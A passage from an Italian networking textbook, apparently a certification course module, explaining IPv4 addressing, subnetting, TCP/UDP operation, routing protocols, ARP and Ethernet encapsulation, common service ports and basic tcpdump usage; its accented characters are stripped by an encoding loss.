rizzo IP. Se un host risponde, comunicando il proprio MAC
address, si pu stabilire una comunicazione tra i due nodi.
Se il broadcast ARP non riesce a determinare lindirizzo
MAC della scheda di rete del destinatario, viene generato
un messaggio di errore.
Per descrivere il funzionamento dei protocolli della pi-
la TCP/IP, utile iniziare esaminandone alcune caratteri-
stiche.
- Indirizzo IP. Nella comune versione IPv4 (IP versione 4
- la transizione verso IPv6 lenta e graduale), questo indi-
rizzo costituito da 32 bit, rappresentati come quattro nu-
meri decimali (uno per ottetto, o gruppo di otto bit). Gli ot-
tetti sono separati da punti, come nellesempio 192.168.0.1;
tale notazione, comune per indicare gli indirizzi IP, detta
dotted notation, o notazione puntata. Un indirizzo IP as-
sociato a uninterfaccia di rete (scheda di rete, modem,
router, ecc.), e permette dinviare e ricevere pacchetti IP.
Perch lindirizzamento IP funzioni correttamente, ogni in-
dirizzo IP devessere assegnato a un unico dispositivo,
necessario quindi un meccanismo di assegnazione unico
per lintera rete. Nel caso di Internet, la funzione di coor-
dinamento per lassegnazione degli indirizzi svolta dal
RIPE NCC (Rseaux IP Europens Network Coordination
Centre) di Amsterdam. Gli indirizzi IP dei piccoli utenti che
si collegano a Internet tramite un provider sono ammini-
strati dagli stessi provider.
Lindirizzo IP pu essere visto come composto da due
parti. I bit pi significativi (allinizio della dotted notation)
indicano la rete alla quale la scheda connessa, e prendo-
no il nome di network number (numero o indirizzo di rete)
o network prefix (prefisso di rete). I bit rimanenti identifi-
cano lhost (il sistema o dispositivo) su quella rete, e pren-
dono il nome di host number.
Gli host comunicano tra loro allinterno della stessa re-
te (IP con lo stesso network number). Per collegare due ap-
parecchiature appartenenti a reti differenti, occorre utiliz-
zare un router, un dispositivo con pi interfacce di rete i
cui indirizzi appartengono alle diverse reti da intercon-
nettere. Il router provvede allinstradamento (routing) dei
pacchetti da una rete allaltra in base a una tabella di rou-
ting, una mappa della topologia delle reti da usare per in-
stradare il traffico.
Per ottimizzare il numero di indirizzi IP gestibili (consi-
derando lo spreco delle prime assegnazioni e la scarsit di
indirizzi liberi), la porzione di indirizzo IP relativa alla rete
non fissa. Originariamente, erano state previste reti di
classe A, B e C, nelle quali lindirizzo di rete era lungo ri-
spettivamente 1, 2 e 3 ottetti, lasciando cos 3, 2 e 1 ottetti
per il numero di host. Togliendo gli indirizzi riservati e i bit
utilizzati per indicare la classe, ne risulta che si possono
avere 126 reti di Classe A, ciascuna con 16,777,214 possibili
host; 16,384 reti di Classe B, ciascuna con 65,534 possibili
host e 2,097,152 reti di Classe C, ciascuna con 254 possibi-
li host.
Classi di indirizzi IP
Esistono anche una Classe D, destinata a comunicazio-
ni multicasting (a gruppi di host - indirizzi che iniziano con
1110), e una classe E (indirizzi che iniziano con 1111) per
uso sperimentale.
Dagli anni 90, per maggiore efficienza nellassegnazione
degli indirizzi IP, si utilizza una notazione classless (senza
classe), in cui la suddivisione tra rete e host pu avvenire
in uno qualsiasi dei 32 bit dellindirizzo IP.
- Maschera di rete (subnet mask). E un numero di 32 bit
diviso in due parti: la prima parte, con i bit tutti posti a uno,
indica quale parte dellindirizzo IP identifica la rete; la se-
conda parte, con tutti i bit a zero, indica la parte di indi-
rizzo riservata allidentificazione dellhost allinterno della
rete. Per le classi A, B e C, le subnet mask sono, rispettiva-
mente: 255.0.0.0, 255.255.0.0 e 255.255.255.0. Storicamente,
gli indirizzi IP e le classi sono stati distribuiti con eccessi-
5.7.1.4
Comprendere i
principali aspetti
del protocollo
TCP/IP (indirizzi,
numeri di porta,
principali
operazioni)
Classi di IP: confronto
grafico tra reti di classe A,
B e C
va larghezza, senza prevedere la crescita del numero di re-
ti e di host che si verificata con lesplosione dellutilizzo
di Internet. Tra le misure per correre ai ripari, quella pi ra-
dicale lo sviluppo del nuovo protocollo IP versione 6
(IPv6), che utilizza indirizzi di 128 bit capaci di identificare
un numero praticamente illimitato di reti e host. La speri-
mentazione di IPv6 dura da parecchi anni a livello interna-
zionale, soprattutto a partire dagli enti legati alla ricerca. La
transizione a IPv6 appare onerosa per la necessit di ag-
giornamento o sostituzione delle apparecchiature di rete,
quindi non , al presente, una soluzione generalizzabile.
Un importante contributo per guadagnare tempo a fron-
te della scarsit di indirizzi IP liberi, venuto dalluso di in-
dirizzi IP privati, ovvero degli intervalli di indirizzi che, per
convenzione (la RFC 1918), non sono visibili su Internet.
Questi intervalli sono: da 10.0.0.1 a 10.255.255.254, da
172.16.0.1 a 172.31.255.254 e da 192.168.0.1 a
192.168.255.254. Allinterno delle aziende si usano, solita-
mente, intervalli di indirizzi privati, cos da non dover im-
pegnare blocchi di indirizzi pubblici (detti anche indirizzi
legali), di cui c scarsit. Il protocollo NAT (Network Ad-
dress Translation) provvede alla conversione tra indirizzi
privati e indirizzi pubblici. I router e i firewall, normalmen-
te, supportano tale protocollo e permettono di utilizzare un
solo indirizzo IP pubblico, consentendo laccesso a Internet
a unintera rete di computer.
Per quanto riguarda levoluzione della suddivisione in
classi degli indirizzi IP, da oltre un decennio si usa il CIDR
(Classless Inter-Domain Routing), documentato nelle RFC
1517, 1518, 1519 e 1520. Il CIDR elimina la tradizionale divi-
sione in classi, e permette di aggregare migliaia di rotte
(route) in ununica voce delle tabelle di routing. Ladozione
del CIDR nel 1994-1995 ha permesso ai router di sopravvi-
vere allesplosione delle rotte Internet, che altrimenti
avrebbero raggiunto lordine delle 100.000 voci di tabella,
ingestibili dai router. Il CIDR permette, tra laltro, di asse-
gnare blocchi di indirizzi pi piccoli di quelli di classe C, eli-
minando gli sprechi (in origine non si potevano assegnare
meno di 256 indirizzi per volta). Ad esempio, una rete con
subnet mask 255.255.255.224, prevede 5 bit per il numero di
host e 31 bit per il numero di rete, ed utilizzabile per 30
host (un indirizzo corrisponde alla rete, uno al broadcast e
30 host corrispondono ai 32 oggetti rappresentabili con 5
bit 2^5=32).
- Indirizzo di broadcast. Lo si ottiene ponendo a uno tut-
ti i bit del numero di host. Un pacchetto che ha come indi-
rizzo del destinatario lindirizzo di broadcast della rete, vie-
ne letto da tutti i dispositivi collegati alla rete.
- Indirizzo di gateway di default (default gateway). Que-
sto lindirizzo IP di quel computer o dispositivo a cui van-
no indirizzati tutti i pacchetti che non hanno una route de-
finita esplicitamente (tipicamente, quelli che non sono de-
stinati alla propria rete). Questo computer riceve i pac-
chetti e li ritrasmette, attraverso unaltra interfaccia di re-
te, verso unaltra rete. Per esempio, uno dei computer del-
la LAN, adibito a gateway e collegato a un modem, pu ave-
re un indirizzo IP privato 192.168.0.1 (lindirizzo di ga-
teway), e anche un indirizzo IP pubblico (statico o dinami-
co) assegnato dal provider Internet, che rappresenta lin-
dirizzo con cui sono visti su Internet tutti gli utenti della
LAN.
- Numero di porta. I numeri di porta, o porte, sono iden-
tificatori numerici utilizzati dai protocolli di trasporto
(TCP e UDP) e dalle specifiche istanze (copie o incarnazio-
ni) delle applicazioni che ne fanno uso. Lo scopo delle por-
te identificare pi endpoint (punti terminali) allinterno
del computer, capaci di ricevere e trasmettere messaggi. Il
numero di porta serve per completare lindirizzo IP, al fine
di individuare quale programma, di quale computer (host)
e di quale rete origine o destinazione di un messaggio.
Considerando, ad esempio, il traffico parallelo che entra in
un computer da Internet, si possono immaginare numero-
se porte aperte, contemporaneamente impegnate a rice-
vere traffico HTTP diretto a varie istanze del browser, pi
messaggi di posta POP o IMAP (Internet Message Access Pro-
tocol), download FTP, file e cartelle da altri host della rete
locale. Ognuna di queste attivit (e numerose altre) utiliz-
za una serie di numeri di porta prefissati. Alcuni esempi di
numeri di porta, fra le centinaia di valori preassegnati (ve-
di http://www.iana.org/assignments/port-numbers), sono
80 (HTTP), 21 (FTP), 23 (Telnet), 25 (SMTP), 110 (POP v3),
143 (IMAP).
- Numero di sequenza. Ogni pacchetto TCP ha un nu-
mero di sequenza che identifica la sua posizione nel flusso
di pacchetti inviati (si basa sul numero di byte inviati). Ogni
pacchetto TCP di conferma contiene il numero di sequen-
za che conferma il numero di byte ricevuti.
Il funzionamento del protocollo TCP avviene secondo
le seguenti fasi:
1. Lapparecchiatura che inizia la comunicazione (chia-
mante o client) invia un pacchetto di dati verso lappa-
recchiatura di destinazione (chiamato, detto anche ser-
ver). Questo pacchetto contiene i due indirizzi, i due nu-
meri di porta, un flag particolare detto SYN e un numero
di sequenza iniziale. Tutte queste informazioni riguarda-
no esclusivamente il protocollo. Questo il primo dei tre
messaggi che costituiscono lhandshake TCP, ovvero lo
scambio di preamboli necessario per instaurare una co-
municazione TCP. Il nome esatto del pacchetto SYN
segment (synchronizing segment), infatti le unit di tra-
sferimento inviate dal protocollo TCP si chiamano seg-
menti, ciascuno dei quali contiene una frazione del flus-
so di dati da trasmettere al destinatario, pi le informa-
zioni di controllo. Di solito, un segmento viaggia in rete
in un singolo datagramma. Spesso, comunque, si usa il
termine pacchetto in modo generico, senza precisare se
esso sia un segmento (strato 4), un IP datagram (strato
3) o un frame (strato 2).
2. Lapparecchio chiamato, dopo aver ricevuto il pacchet-
to con il flag SYN, invia un pacchetto di risposta conte-
nente i flag SYN e ACK (acknowledgment o riconosci-
mento), un proprio numero di sequenza iniziale e la con-
ferma, incrementata di uno, del numero di sequenza re-
lativo al pacchetto SYN appena ricevuto.
3. Il chiamante risponde, a sua volta, con un pacchetto con-
tenente un ACK e il numero di sequenza ricevuto dal
chiamato, incrementato di uno.
4. A questo punto, sia il chiamante sia il chiamato possono
trasmettere dati. Dopo averlo fatto, attendono un mes-
saggio di ACK dallinterlocutore.
5. Se lapparecchiatura ricevente riceve il pacchetto dei da-
ti correttamente, risponde inviando un pacchetto con at-
tivo il flag di ACK. Se il ricevente ha dei dati che deve tra-
smettere, allora invia lACK insieme ai dati e attende, a
sua volta, di ricevere un ACK.
6. Lapparecchiatura che ha inviato dati attende lACK; se
non lo riceve, dopo un certo periodo di tempo ritra-
smette i dati, non potendo sapere se sono andati persi
questi oppure lACK. Linterlocutore, se riceve i dati, ri-
sponde con lACK. Se riceve per la seconda volta dati gi
ricevuti (e quindi era andato perso lACK), li riconosce
dal numero di sequenza ripetuto, li scarta e invia un ACK
al mittente.
7. Quando unapparecchiatura ha finito di trasmettere il
flusso di byte e vuole terminare la connessione, invia al-
linterlocutore un pacchetto con il flag FIN (finish) e un
dato numero di sequenza. A questo punto lapplicazione
chiude la connessione.
8. Il ricevente risponde con due diversi pacchetti: uno con-
tenente un ACK e il numero di sequenza del mittente, in-
crementato di uno; laltro con il flag FIN e lo stesso nu-
mero di sequenza incrementato. Anche su questo lato,
lapplicazione chiude la connessione.
9. Lapparecchiatura che ha inviato il primo FIN risponde
con un ACK. A questo punto la connessione chiusa.
Rispetto al protocollo TCP (Transmission Control Proto-
col), il protocollo UDP (User Datagram Protocol) molto pi
semplice perch si limita allinvio dei dati. Lapparecchia-
tura che deve inviare i dati confeziona un pacchetto (chia-
mato user datagram) e lo invia senza aprire una sessione,
senza scambiare messaggi ACK di conferma, e senza nu-
meri di sequenza. Ci rende il protocollo UDP semplice e
rapido, ma anche inaffidabile, visto che non garantisce
larrivo dei dati a destinazione. Lapplicazione che utilizza
UDP accetta piena responsabilit degli aspetti di affidabi-
lit, tra cui perdita di messaggi, duplicazione, ritardo, con-
segna fuori ordine dei pacchetti e perdita della connessio-
ne. Unapplicazione che ignori tali aspetti soggetta a fun-
zionare bene in ambienti locali o sicuri, e a fallire in reti di
grandi dimensioni.
Daltra parte, ci sono applicazioni dove luso del proto-
collo TCP non offre vantaggi, ma rischia di provocare in-
convenienti. Il primo esempio la trasmissione di audio e
video. Nella trasmissione della voce, in particolare, se la
banda e la velocit delle operazioni sono adeguate, la co-
municazione soddisfacente; tuttavia, in presenza di ral-
lentamenti ed errori, la comunicazione diventa inintelligi-
bile. In questi casi, pi semplice utilizzare UDP colmando
le lacune (i dati non ricevuti) con zeri, che riducono il fa-
stidio per lutente. In effetti, le comunicazioni VoIP (Voice
over IP, voce su IP) utilizzano un misto di UDP e TCP; ad
esempio, il popolare sistema Skype (che usa protocolli VoIP
proprietari) dimostra particolare flessibilit nelladeguarsi
alle circostanze.
Un altro esempio offerto dalle trasmissioni dei segna-
li di sincronismo temporale per lallineamento degli orolo-
gi, una funzione offerta sia da Windows, sia da Linux in col-
legamento con un time server. Se per loperazione si usa il
protocollo UDP, potranno accadere occasionalmente man-
cate sincronizzazioni, ma la stabilit degli orologi al quar-
zo in grado di assorbire qualche omessa sincronizzazio-
ne. Se si usa TCP per sincronizzare il tempo e si verificano
situazioni di errore o congestione in rete, il protocollo pre-
vede la ritrasmissione dei dati. La conseguenza che i da-
ti temporali, ricevuti in ritardo, hanno leffetto di disalli-
neare lorologio del computer. Ci potrebbe creare incon-
venienti nei casi in cui le informazioni temporali siano uti-
lizzate dai meccanismi di sicurezza (per esempio, per gli al-
goritmi di autenticazione) e lazienda non abbia un proprio
time server. Sebbene questi siano casi limite, lasciano in-
tendere che, per certe applicazioni, sia preferibile la relati-
va inaffidabilit di UDP.
In questa beve panoramica sulla pila TCP/IP, meritano di
essere menzionati i protocolli di routing. Per inviare i pac-
chetti IP da un sistema allaltro della stessa rete locale (ti-
picamente Ethernet), sufficiente incapsulare i pacchetti in
frame Ethernet aventi il MAC address del destinatario.
Quando, per, i pacchetti sono destinati a un sistema che
si trova su unaltra rete locale (diverso network number nel-
lindirizzo IP), essi devono essere trasferiti da una rete al-
laltra attraverso uno o pi router (nei frame Ethernet vie-
ne usato come destinazione il MAC address del router). An-
che nel caso minimo di alcuni computer domestici collegati
a Internet, si utilizza un router (spesso integrato con il mo-
dem ADSL) per interconnettere la rete del provider alla re-
te locale domestica, e condividere laccesso Internet fra tut-
ti i computer.
Per collegare due reti occorre un router
I router, per decidere qual il percorso migliore da se-
guire per i pacchetti, utilizzano protocolli di routing (in-
stradamento) tramite i quali si scambiano informazioni re-
lative allo stato dei collegamenti (link), come la capacit dei
link o le reti raggiungibili attraverso quei link. Il primo pro-
tocollo di routing ampiamente diffuso su Internet stato
RIP (Routing Information Protocol), che basava la scelta dei
percorsi sul numero di salti (hop, reti da attraversare) per
raggiungere la destinazione. La sua evoluzione ha portato
a RIP v2. RIP era un protocollo semplice, con pochi con-
trolli di legittimit e coerenza dei dati, e senza autentica-
zione. Quindi era vulnerabile a disservizi e dirottamenti del
traffico a fronte di attacchi e guasti. RIP 2 ha introdotto mi-
glioramenti tecnici e una parziale autenticazione, ma con-
serva il limite di 15 salti di rete (hop) per arrivare a desti-
nazione.
Levoluzione del routing ha portato al concetto di Auto-
nomous System(AS), una sorta di isola che utilizza un pro-
tocollo per il routing dei pacchetti al proprio interno (tipi-
camente OSPF, Open Shortest Path First) e un altro proto-
collo, Border Gateway Protocol (BGP), per determinare il
routing fra gli AS. BGP pu essere utilizzato per lo scambio
di informazioni tra AS solo dai router di confine (border ga-
teway), e secondo le modalit concordate con gli AS confi-
nanti. Questi protocolli, e BGP in particolare, sono pi ro-
busti e scalabili, e dotati di meccanismi di autenticazione.
Oggi , quindi, molto pi difficile falsificare o influenzare il
traffico controllato dai protocolli di routing, a parte le vul-
nerabilit del firmware dei router, occasionalmente sco-
perte e, pi o meno rapidamente, corrette dai produttori.
Lo sfruttamento delle vulnerabilit permette di bloccare o
alterare linstradamento del traffico, nei limiti della strut-
tura ad AS della rete.
Inizio della
connessione TCP
Fine della connessione
TCP
Router: modalit di
collegamento di due reti
con protocolli di routing
Incapsulamento di TCP/IP
in Ethernet
Nella sezione precedente abbiamo preso in considera-
zione il funzionamento di TCP e UDP senza esaminare co-
me i dati di questi protocolli interagiscano con quelli del
protocollo IP. Il pacchetto IP (IP datagram) consiste di unin-
testazione con informazioni di controllo, tra cui gli indiriz-
zi di origine e di destinazione del pacchetto, seguita dai da-
ti da trasmettere. A differenza dei frame, la cui lunghezza
massima determinata dallhardware, i datagrammi sono
controllati dal software, nei limiti della lunghezza massima
del pacchetto. In IPv4 la lunghezza del pacchetto espres-
sa da un campo di 16 bit dellintestazione, quindi il data-
gramma pu occupare fino a 65.535 ottetti. Ogni volta che
un pacchetto passato al protocollo dello strato inferiore,
lintero pacchetto diventa la parte dati del pacchetto allo
strato inferiore, a cui viene aggiunta lintestazione. Un pac-
chetto TCP o UDP (strato di trasporto) viene passato quin-
di allo strato di rete (IP), e si arricchisce dellintestazione
IP. Il pacchetto IP (IP datagram) viene, a sua volta, fram-
mentato e inserito (si usa il termine incapsulato) nel frame
dello strato inferiore, con laggiunta della relativa intesta-
zione. In pratica, man mano che un pacchetto scende dal-
la cima della pila di protocolli verso la strato fisico, accu-
mula tutte le intestazioni degli strati di protocolli che at-
traversa.
In una visione ideale, potremmo supporre che il pac-
chetto TCP o UDP sia incapsulato nel pacchetto IP, e che
questo abbia una lunghezza tale (limitata) da poter entra-
re nella parte dati del frame senza dover essere frammen-
tato in pi frame. Tuttavia, la lunghezza massima del frame
dipende dalle tecnologie usate. Ethernet ha il limite di 1500
ottetti (1492 nello standard 802.3), FDDI accetta 4470 ot-
tetti, e via dicendo. Leventuale frammentazione del pac-
chetto, allo scopo di trovare posto nei frame delle tecno-
logie usate lungo il percorso origine-destinazione, avviene
allo strato 3 (rete o IP). La massima lunghezza del pac-
chetto accettabile da uninterfaccia fisica di rete si chiama
MTU (Maximum Transfer Unit). Se lo strato IP informato
sui tipi di strato fisico sul percorso, pu inviare pacchetti
che non avranno bisogno di essere ulteriormente fram-
mentati; viceversa, potrebbe ad esempio inviare pacchetti
di 1492 ottetti che qualche router, impostato con MTU in-
feriore, dovr frammentare e riassemblare lungo il percor-
so.
Lincapsulamento dei pacchetti TCP o UDP nei pacchet-
ti IP abbastanza diretto, mentre quello dei pacchetti IP nei
frame Ethernet richiede luso del protocollo ARP per sco-
prire qual lindirizzo MAC del destinatario e inserirlo nel
frame.
Linclusione del pacchetto IP nel frame Ethernet avviene
in quanto le reti locali sono solitamente reti Ethernet. Nei
computer le operazioni allo strato fisico e logico (data link)
sono gestite dalla scheda di rete (NIC, network interface
card). Le parti di sistema operativo che gestiscono le co-
municazioni via rete, come la suite TCP/IP, possono svol-
gere varie funzioni:
configurare vari parametri della scheda;
leggere la configurazione della scheda;
inviare alla scheda i dati che saranno inviati come pay-
load (carico utile, la parte dati del frame) indicando a qua-
le MAC address vanno spediti;
leggere dalla scheda i dati che ne emergono e che sono ad
essa diretti, oppure i pacchetti di broadcasting (diretti a
tutte le schede della rete).
Tutte le varie fasi di comunicazione in rete, e quindi di in-
vio di pacchetti, richiedono linvio di dati alla scheda di re-
te. Per fare questo, occorre conoscere il MAC address del
computer locale (origine del messaggio) e il MAC address
della scheda Ethernet del destinatario. Del destinatario si
conosce lindirizzo IP; per scoprire qual il corrisponden-
te MAC address, il computer chiamante opera in questo mo-
do:
crea un pacchetto ARP contenente lindirizzo IP del chia-
mante e la richiesta del MAC address dellindirizzo IP del
chiamato;
invia questo pacchetto alla scheda di rete specificando,
come MAC address del destinatario, lindirizzo di broad-
cast FF:FF:FF:FF:FF:FF;
tutte le schede di rete ricevono il pacchetto e tutte le fun-
zioni di gestione della rete lo elaborano, ma risponde so-
lo il computer con lindirizzo IP specificato;
il pacchetto ARP di risposta ha come mittente il MAC ad-
dress desiderato.
Da quel momento in poi, il computer chiamante conosce
il MAC address cercato, che salva in una tabella detta ARP ta-
ble. Utilizzando tale indirizzo, le funzioni di gestione della re-
te sono in grado dinviare alla scheda di rete, insieme ai da-
ti, il MAC address della scheda a cui vanno trasferiti i dati.
Consideriamo ora cosa accade quando la connessione
diretta verso una rete diversa da quella a cui appartiene il
computer chiamante. Nel caso pi semplice, il computer ha
una sola informazione su come arrivare alla rete di desti-
nazione, il default gateway impostato tra le propriet
TCP/IP della scheda di rete. In questo caso, le operazioni
sono quelle viste sopra a proposito del protocollo ARP, con
la differenza che nel richiedere il MAC address non viene
usato lindirizzo IP del chiamato, ma quello del gateway o
router di default. Una volta ottenuto il MAC, esso viene usa-
to per indicare alla scheda di rete dove inviare il frame
Ethernet. Il pacchetto IP incapsulato nel frame porta come
destinazione lindirizzo IP del chiamato. Il frame recapi-
tato al default gateway o router, che lo apre e inoltra il pac-
chetto IP (in un altro frame) a unaltra interfaccia di rete,
per farlo proseguire verso la destinazione.
ARP mantiene una tabella di corrispondenza tra indiriz-
zi IP e indirizzi MAC, la ARP table. Allavvio del computer la
tabella vuota, e viene compilata man mano che lo strato
IP ha bisogno dinviare pacchetti a indirizzi IP che non sono
ancora catalogati nella tabella (insieme ai corrispondenti
MAC address). Quando IP ha bisogno dinviare un pacchet-
to a un host della stessa rete, prima cerca lindirizzo IP del-
lhost nella tabella; se non lo trova, invia un pacchetto ARP
di richiesta come broadcast a tutta la rete; tale pacchetto
non un pacchetto IP, ma direttamente un frame. Quando
riceve il pacchetto di risposta, IP aggiunge una nuova voce
alla ARP table. Se un indirizzo IP non viene usato per un cer-
to tempo viene eliminato dalla tabella, per evitare di utiliz-
zare indirizzi MAC obsoleti.
Il concetto di default gateway una
semplificazione, destinata soprattutto
alla configurazione degli host.
Impostazione del default
gateway di una connessione
TCP/IP
Un router ha normalmente pi in-
terfacce e route (rotte) esplicite per
le diverse reti, il cui traffico devesse-
re instradato sulle diverse interfacce
(una route, in generale, il percorso
che il traffico di rete compie dalla sua
origine alla sua destinazione; in una
internet TCP/IP - di cui Internet il
maggiore esempio - ogni datagramma
IP instradato in modo indipendente,
e le route possono cambiare dinami-
camente).
Il comune router con due interfac-
ce, una verso lazienda e una verso il
5.7.1.5 Conoscere
l'incapsulamento di
TCP/IP in Ethernet
Protocollo Internet:
impostazione delle
propriet di TCP/IP
provider, pi un gateway fra due diverse gestioni e due di-
verse tecnologie di trasmissione che non un router vero e
proprio, con le route catalogate nel router. In questi casi,
nel computer sono registrate tabelle di routing che per-
mettono di scegliere quale interfaccia e indirizzo IP confi-
nante usare per instradare i pacchetti diretti verso una par-
ticolare destinazione. Il protocollo ARP viene quindi utiliz-
zato nei confronti di questultimo indirizzo IP, se la con-
nessione di tipo Ethernet. Uno dei casi pi semplici
quello di un computer con una scheda Ethernet per la con-
nessione alla rete locale, e di uninterfaccia PPP per la con-
nessione verso Internet (PPP - Point-to-Point Protocol - un
protocollo di accesso remoto di strato data link, usato per
incapsulare i pacchetti IP nei frame e connettere un com-
puter a una rete attraverso una linea telefonica).
Una tabella di routing in Windows
I significati delle voci di questa tabella desempio sono i se-
guenti:
- Linea 1 e 2: route di default; il gateway address lindi-
rizzo di un router (192.168.0.1) che collegato sulla rete al-
le interfacce 192.162.0.114 e 192.168.0.151.
- Linea 3: indirizzo di loopback, un valore speciale riferi-
to allhost locale, impostato automaticamente da Win-
dows.
- Linee 4 e 5: gamma dindirizzi per il segmento di rete lo-
cale; qualunque indirizzo nella rete 192.168.0.0 di Classe C
pu essere trovato sul segmento connesso alle interfacce,
con indirizzo 192.168.0.114 e 192.168.0.151.
- Linee 6 e 7: percorsi per lhost locale (la subnet mask a
tutti 1 indica che la route si applica solo ai pacchetti invia-
ti al singolo indirizzo); lindirizzo di loopback usato come
gateway corrisponde al fatto che i pacchetti indirizzati al-
lhost locale sono gestiti internamente.
- Linee 8 e 9: indirizzo di broadcast della sottorete per
ciascuna delle due schede di rete presenti.
- Linee 10 e 11: indirizzo di multicast, usato per applica-
zioni speciali che distribuiscono pacchetti a pi destina-
zioni.
- Linee 12 e 13: indirizzo di broadcast limitato, caratteri-
stico delle routing table di Microsoft.
- La metrica rappresenta il valore di costo associato al-
la route.
Una routing table Linux
In questo esempio (in ambiente SuSE Linux), le prime
due linee indicano la presenza di due schede di rete, una
Ethernet e laltra wireless, entrambe collegate alla rete
192.168.0.0 (non vengono indicati i rispettivi indirizzi IP). Il
gateway di default un dispositivo Ethernet con indirizzo
192.168.0.1 (si tratta di un firewall).
I servizi in TCP/IP
Dopo aver preso in considerazione le comunicazioni dal
punto di vista del protocollo, ora le osserviamo dal punto
di vista dellutilizzo dei dati. Nei server ci sono molti pro-
grammi che scambiano comunicazioni con la rete, e i loro
dialoghi attraverso TCP/IP avvengono secondo le seguen-
ti modalit.
1. Il programma che realizza il servizio resta in attesa di
pacchetti indirizzati a una specifica porta.
2. Il programma viene attivato dopo lhandshake inizia-
le (lo scambio di pacchetti con cui i due interlocutori si pre-
parano a comunicare e si scambiano le informazioni ne-
cessarie, per esempio per lautenticazione). Di solito, in
questa fase il programma genera unaltra istanza di se stes-
so, in modo che unistanza resti in attesa di altre richieste
di connessione, e laltra gestisca la comunicazione appena
avviata.
3. Il programma gestisce il flusso dei dati secondo il suo
protocollo applicativo.
4. Al termine della comunicazione, la connessione viene
chiusa e listanza di programma che la gestiva termina.
Per luso dei servizi necessario conoscere il numero o
i numeri di porta (certi servizi usano pi porte) a cui indi-
rizzare i pacchetti TCP e/o UDP. Per questo, esiste normal-
mente unassociazione tra il nome del protocollo e il nu-
mero di porta utilizzata dal programma che realizza quel
protocollo (i numeri di porta possono essere modificati e
concordati tra le parti).
Esempi di numeri di porta e relativi servizi
Numero Protocollo Note
di porta
-------------------------------------------------------------------------------------------------------------------------------------
7 UDP Echo Eco dei dati inviati
7 TCP Echo Eco dei dati inviati
13 UDP Daytime Trasmette data e ora e chiude la
connessione
13 TCP Daytime Trasmette data e ora e chiude
la connessione
19 UDP Chargen Genera sequenze alfabetiche
19 TCP Chargen Genera sequenze alfabetiche
20 TCP FTP dati Trasferimento dati FTP
21 TCP FTP controllo Comandi FTP
22 TCP SSH Protocollo di connessione sicura
23 TCP Telnet Invio di comandi a un computer
25 TCP SMTP Invio al server dei messaggi di posta
elettronica
53 UDP DNS Risoluzione dei nomi in numeri IP
53 TCP DNS Risoluzione dei nomi in numeri IP
69 UDP TFTP FTP semplificato
80 TCP HTTP Protocollo usato dai web server
110 TCP POP3 Scarico della posta dai mail server POP
220 TCP IMAP3 Scarico della posta dai mail server IMAP
443 TCP HTTPS Protocollo di scambio dati sicuro
per i web server
5.7.1.6
Comprendere i
servizi di rete
effettuati in ambiente
TCP/IP
Routing table Linux:
esempio di tabella in
ambiente SuSE Linux
Routing in Windows:
esempio di tabella con
molteplici indirizzi
Alcuni servizi non utilizzano un numero di porta fisso. Si
pu allora utilizzare un servizio di ricerca dei servizi, che
alla richiesta risponde con il numero di porta sulla quale il
servizio in ascolto. Questo normale per i servizi RPC
(Remote Procedure Call, un protocollo di trasporto richie-
sta/risposta utilizzato in molte interazioni client/server),
che si appoggiano a portmapper (porta 111) sui sistemi
Unix e a RPC Locator (porta 135) sui sistemi Windows. RPC
non usa numeri fissi di porta per i propri servizi (identifi-
cati da program number), ma le prime porte disponibili che
incontra; perci, utilizza un modulo che mappa i numeri di
porta nei propri numeri di programma.
Utilizzo di un analizzatore
di rete
Gli analizzatori di rete, detti anche sniffer, permettono di
monitorare i pacchetti che transitano attraverso le inter-
facce di rete e, quindi, di tenere sotto controllo il passaggio
di dati tra gli host e la rete.
Uno degli analizzatori pi semplici il programma tcp-
dump, che funziona in modalit testo in una finestra prompt
di Windows, o in una finestra di consolle di Linux. Tcpdump
pu essere incluso nella distribuzione Linux; in ogni caso,
diverse versioni sono scaricabili sia per Windows, sia per
Linux. Una buona versione per Windows quella di mi-
croOlap (www.microolap.com/products/ network/tcp-
dump/).
Tcpdump mostra il traffico su una data interfaccia di re-
te, e offre numerose opzioni per concentrare lanalisi su de-
terminati input, specificare il dettaglio delle informazioni
fornite, salvare loutput in un file, e altro ancora. Si pu sce-
gliere il numero o il nome dellinterfaccia di rete da tenere
sotto controllo; con il comando tcpdump -Dsi ottiene una li-
sta delle interfacce selezionabili.
Un aspetto generale del monitoraggio del traffico di re-
te, che coinvolge anche altre situazioni, che le schede di
rete, normalmente, sono realizzate per ricevere solo i pac-
chetti a esse destinati, oppure i pacchetti di broadcast (de-
stinati a tutta la rete). Tuttavia, molte schede di rete pos-
sono essere impostate in modo da funzionare nella cosid-
detta modalit promiscua. In tale modalit, la scheda ac-
cetta tutti i pacchetti ricevuti, permettendo al software (ti-
picamente un analizzatore di rete o un modulo che realiz-
za il bridging tra due sottoreti, come possibile, ad esem-
pio, in Windows XP) di vedere il contenuto di tutti i pac-
chetti in transito. In questa modalit, tcpdump e gli altri
software della stessa categoria permettono di vedere tutto
il traffico di rete che raggiunge uninterfaccia.
Il programma tcpdump pu essere eseguito con una se-
rie di opzioni che ne modificano il funzionamento. Ne elen-
chiamo alcuni:
Parametro Significato
--------------------------------------------------------------------------------------------------------------------------------------
-i nome/numero In un sistema con pi interfacce, permette la
selezione di una specifica interfaccia per nome
o per numero (secondo le implementazioni)
-n Non converte gli indirizzi e i numeri di porta,
che sono mostrati in forma numerica
-s lunghezza Permette di cambiare la lunghezza della porzione
di pacchetto analizzata. Il valore zero indica al
programma di analizzare completamente i
pacchetti. Una lunghezza eccessiva pu causare
una perdita di pacchetti durante lanalisi
-v Rende pi dettagliate le informazioni fornite
-vv Ulteriore dettaglio
-vvv Massimo livello di dettaglio delle informazioni
fornite
-w nome Invia direttamente i pacchetti nel file specificato
-F nome Invece di leggere dallinterfaccia, legge dal file
preparato col precedente comando. Pu essere
utilizzato per elaborare le informazioni dei
pacchetti completi, mentre il semplice uso
dellopzione -s pu causare la perdita di
pacchetti
Nellanalizzare il traffico di una rete, spesso necessario
limitare la quantit di traffico da prendere in considerazio-
ne; lo si pu fare introducendo dei criteri di selezione, di cui
vediamo alcuni esempi.
Opzione Valori Esempio
--------------------------------------------------------------------------------------------------------------------------------------
host nome host host xsystem estrae tutto il
traffico da e per il computer xsystem
net numero IP che net 192.168.1 estrae tutto il traffico
identifica la rete della rete 192.168.1
port numero di porta port 22 estrae tutto il traffico da
e per la porta 22
src (src) src xsystem estrae tutto il traffico che
parte dal computer xsystem
dst (dst) dst net 192.168.1 estrae tutto il
traffico verso la rete 192.168.1
dst or src dst or src dst or src host xsystem equivale
a host xsystem
